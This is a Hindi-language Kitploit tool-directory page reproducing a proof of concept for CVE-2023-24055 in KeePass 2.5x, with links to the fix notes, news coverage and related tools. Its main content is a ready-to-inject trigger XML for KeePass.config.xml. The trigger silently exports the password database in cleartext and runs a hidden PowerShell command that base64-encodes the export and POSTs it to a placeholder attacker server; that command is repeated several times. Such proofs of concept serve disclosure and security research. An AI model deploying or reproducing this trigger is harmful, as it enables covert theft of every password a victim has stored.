Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2023-24055_PoC — CVE-2023-24055 PoC (KeePass 2.5x) | Kitploit
उपकरण/GitHubGitHub/alt3kx/cve-2023-24055_poc
पासवर्ड हमलेभेद्यता विश्लेषणशोषणडेटा निष्कासनपोस्ट-शोषणरेड टीमिंग
GitHubalt3kx/cve-2023-24055_poc

CVE-2023-24055_PoC

CVE-2023-24055 PoC (KeePass 2.5x)

रिपॉजिटरी देखें
25337473 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

CVE-2023-24055 PoC (KeePass 2.5x)

चर्चा और विश्लेषण के अंतर्गत...

https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/
https://sourceforge.net/p/keepass/feature-requests/2773/

एक हमलावर जिसके पास KeePass कॉन्फ़िगरेशन फ़ाइल में लिखने की पहुंच है, वह इसे संशोधित कर सकता है और दुर्भावनापूर्ण ट्रिगर इंजेक्ट कर सकता है, उदाहरण के लिए एक निर्यात ट्रिगर जोड़कर स्पष्ट पाठ पासवर्ड प्राप्त कर सकता है।

https://nvd.nist.gov/vuln/detail/CVE-2023-24055
https://www.cve.org/CVERecord?id=CVE-2023-24055

मेरा प्रारंभिक PoC (KeePass 2.5x)

(1) एक हमलावर जिसके पास KeePass कॉन्फ़िगरेशन फ़ाइल KeePass.config.xml में लिखने की पहुंच है, वह निम्नलिखित ट्रिगर इंजेक्ट कर सकता है, उदाहरण के लिए:

root@kitploit:~
<?xml version="1.0" encoding="utf-8"?>
<TriggerCollection xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
	<Triggers>
		<Trigger>
			<Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
			<Name>exploit</Name>
			<Events>
				<Event>
					<TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
					<Parameters>
						<Parameter>0</Parameter>
						<Parameter />
					</Parameters>
				</Event>
			</Events>
			<Conditions />
			<Actions>
				<Action>
					<TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
					<Parameters>
						<Parameter>c:\Users\John\AppData\Local\Temp\exploit.xml</Parameter>
						<Parameter>KeePass XML (2.x)</Parameter>
						<Parameter />
						<Parameter />
					</Parameters>
				</Action>
				<Action>
					<TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
					<Parameters>
						<Parameter>PowerShell.exe</Parameter>
						<Parameter>-ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml'))) </Parameter>
						<Parameter>False</Parameter>
						<Parameter>1</Parameter>
						<Parameter />
					</Parameters>
				</Action>
			</Actions>
		</Trigger>
	</Triggers>
</TriggerCollection>

(2) पीड़ित सामान्य गतिविधि के रूप में KeePass खोलेगा, परिवर्तन सहेजेगा, आदि। ट्रिगर पृष्ठभूमि में निष्पादित होगा और क्रेडेंशियल्स को हमलावर सर्वर पर बाहर निकाल देगा।

ट्रिगर PoC विवरण

a) ट्रिगर KeePass डेटाबेस को KeePass XML (2.x) प्रारूप में निर्यात करेगा, जिसमें सभी क्रेडेंशियल्स (स्पष्ट पाठ) शामिल होंगे, निम्नलिखित पथ पर, उदाहरण के लिए:

root@kitploit:~
c:\Users\John\AppData\Local\Temp\exploit.xml 

b) फ़ाइल निर्यात होने के बाद, XML डेटा को Powershell.exe का उपयोग करके बाहर निकालने और base64 में एन्कोड करने के लिए दूसरी कार्रवाई परिभाषित की जा सकती है, उदाहरण के लिए:

root@kitploit:~
PowerShell.exe -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))

c) डेटा हमलावर वेब सर्वर पर बाहर निकल जाएगा, उदाहरण के लिए:

1

ट्रिगर PoC मान

root@kitploit:~
Name: Trigger
Events: Saved database file | [Equals]
Conditions: <empty>
Actions: 

(1) Export active database 
File/URL: c:\Users\John\AppData\Local\Temp\exploit.xml
File/Format:  KeePass XML (2.x)

(2) Execute command line / URL
File/URL: PowerShell.exe
Arguments: -ex bypass -noprofile -c Invoke-WebRequest -uri http://attacker_server_here/exploit.raw -Method POST -Body ([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\John\AppData\Local\Temp\exploit.xml')))
Window style: Hidden

क्रेडेंशियल्स...

root@kitploit:~
PS C:\Users\John\AppData\Local\Temp> type .\exploit.xml  | Select-String -Pattern Password

2

3

सार्वजनिक ट्रिगर उदाहरण:

https://keepass.info/help/kb/trigger_examples.html

फिक्स जारी: 2.53 से 2.53.1 में परिवर्तन:

https://keepass.info/news/n230109_2.53.html

root@kitploit:~
Removed the 'Export - No Key Repeat' application policy flag; KeePass now always asks for the current master key when trying to export data.

आगे की पढ़ाई

(*) यह KeePass CVE नए पासवर्ड वॉल्ट की तलाश कर रहे संगठनों के लिए क्या मायने रखता है (कार्लोस पेरेज़)

https://www.trustedsec.com/blog/what-this-keepass-cve-means-for-organizations-searching-for-new-password-vaults/
https://www.youtube.com/watch?v=OEaFaSjaZY4

(*) KeePass डेटाबेस को बाहर निकाल सकने वाली खामी की रिपोर्ट पर विवाद करता है (स्टीव ज़्यूरियर)

https://www.scmagazine.com/analysis/identity-and-access/keepass-disputes-report-of-flaw-that-could-exfiltrate-a-database

(*) सिक्योरिटी वीकली न्यूज़ (06:56 KeePass)

https://www.youtube.com/watch?v=iz0PsYlH8Ig

(*) KeePass 2.53.1, एक नया संस्करण जो CVE-2023-24055 भेद्यता को ठीक करता है (IT Connect FR)

https://www.it-connect.fr/keepass-2-53-1-une-nouvelle-version-qui-corrige-la-vulnerabilite/
https://www.it-connect.fr/faille-critique-dans-keepass-un-attaquant-peut-exporter-les-mots-de-passe-en-clair/

(*) उपकरण

https://github.com/deetl/CVE-2023-24055
https://blog.harmj0y.net/redteaming/keethief-a-case-study-in-attacking-keepass-part-2/
https://github.com/Orange-Cyberdefense/KeePwn

लेखक

Alex Hernandez उर्फ़ (@_alt3kx_)

टूल डाउनलोड करें